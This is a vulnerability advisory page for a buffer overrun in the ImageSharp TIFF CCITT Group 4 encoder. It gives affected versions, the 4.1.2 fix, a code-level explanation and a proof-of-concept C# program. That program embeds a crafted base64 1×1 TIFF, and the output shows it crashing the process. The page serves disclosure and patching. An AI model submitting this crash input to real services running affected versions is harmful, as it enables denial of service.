All vulnerabilities
CVE-2026-106115GHSA-jjfr-hcj7-qf5w

SixLabors.ImageSharp: ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer

SixLabors SixLabors.ImageSharpnugetLibraries & packages
CVSS
7.5High
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 9 Oct 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.35%Chance of exploitation activity in the next 30 days, higher than 27% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in4.1.2Fixed versionGitHub
Published6 Oct 2026Updated 9 Oct 2026CVE List

What fixes it

  • 4.1.2SixLabors.ImageSharp, nugetGitHubdotnet add package SixLabors.ImageSharp --version 4.1.2
  • 4.1.2SixLabors.ImageSharp, NuGetOSVdotnet add package SixLabors.ImageSharp --version 4.1.2

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default TiffEncoder terminates the process with an unhandled exception.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected range: >= 2.1.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

The T6 compressor was introduced by commit 3c9eb470a07a15012c2a29ad84090dcc804a7975, first released in v2.1.0, with the same Width * rowsPerStrip allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1.

Details

[TiffCcittCompressor.Initialize](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates Width * rowsPerStrip bytes. A 1×1 strip therefore receives one byte.

After encoding the row, [T6BitCompressor.CompressStrip](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [WriteCode](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws ArgumentOutOfRangeException, after the unchecked writes have exceeded the one-byte span.

The default TIFF encoder can inherit CcittGroup4Fax and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.

Tested environment

  • Published NuGet package: SixLabors.ImageSharp 4.1.1
  • Target framework: net8.0
  • .NET SDK: 8.0.424
  • .NET runtime: 8.0.30
  • Operating system: Debian GNU/Linux 12, ARM64, Docker

No active exploitation is known.

Reproduction

Create a net8.0 project referencing the published 4.1.1 assembly and use this Program.cs:

using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;

string mode = args.FirstOrDefault() ?? "exploit";
byte[] input = Convert.FromBase64String(
    "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA");

using Image image = Image.Load(input);
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}");
Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}");

using var output = new MemoryStream();
if (mode == "control")
{
    image.Save(output, new TiffEncoder { Compression = TiffCompression.None });
}
else
{
    image.Save(output, new TiffEncoder());
}

Console.WriteLine($"encoded=True bytes={output.Length}");

Run:

dotnet run -- exploit
dotnet run -- control

The exploit produced exit code 134:

ImageSharp=4.0.0.0
mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1
Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.
   at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)

The control completed with exit code 0:

ImageSharp=4.0.0.0
mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1
encoded=True bytes=212

Impact

One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.

Text from GitHub Advisory Database

Affected versions 36

  • SixLabors.ImageSharp, nuget>= 2.1.0, <= 4.1.1GitHub
  • ImageSharpaffected: >= 2.1.0, < 4.1.2CVE List
  • SixLabors.ImageSharp, NuGetfrom 2.1.0, fixed in 4.1.2OSV
  • SixLabors.ImageSharp, NuGet2.1.0OSV
  • SixLabors.ImageSharp, NuGet2.1.1OSV
  • SixLabors.ImageSharp, NuGet2.1.10OSV
  • SixLabors.ImageSharp, NuGet2.1.11OSV
  • SixLabors.ImageSharp, NuGet2.1.12OSV
  • SixLabors.ImageSharp, NuGet2.1.13OSV
  • SixLabors.ImageSharp, NuGet2.1.2OSV
  • SixLabors.ImageSharp, NuGet2.1.3OSV
  • SixLabors.ImageSharp, NuGet2.1.4OSV
  • SixLabors.ImageSharp, NuGet2.1.5OSV
  • SixLabors.ImageSharp, NuGet2.1.6OSV
  • SixLabors.ImageSharp, NuGet2.1.7OSV
  • SixLabors.ImageSharp, NuGet2.1.8OSV
  • SixLabors.ImageSharp, NuGet2.1.9OSV
  • SixLabors.ImageSharp, NuGet3.0.0OSV
  • SixLabors.ImageSharp, NuGet3.0.1OSV
  • SixLabors.ImageSharp, NuGet3.0.2OSV
  • SixLabors.ImageSharp, NuGet3.1.0OSV
  • SixLabors.ImageSharp, NuGet3.1.1OSV
  • SixLabors.ImageSharp, NuGet3.1.10OSV
  • SixLabors.ImageSharp, NuGet3.1.11OSV
  • SixLabors.ImageSharp, NuGet3.1.12OSV
  • SixLabors.ImageSharp, NuGet3.1.2OSV
  • SixLabors.ImageSharp, NuGet3.1.3OSV
  • SixLabors.ImageSharp, NuGet3.1.4OSV
  • SixLabors.ImageSharp, NuGet3.1.5OSV
  • SixLabors.ImageSharp, NuGet3.1.6OSV
  • SixLabors.ImageSharp, NuGet3.1.7OSV
  • SixLabors.ImageSharp, NuGet3.1.8OSV
  • SixLabors.ImageSharp, NuGet3.1.9OSV
  • SixLabors.ImageSharp, NuGet4.0.0OSV
  • SixLabors.ImageSharp, NuGet4.1.0OSV
  • SixLabors.ImageSharp, NuGet4.1.1OSV

References 6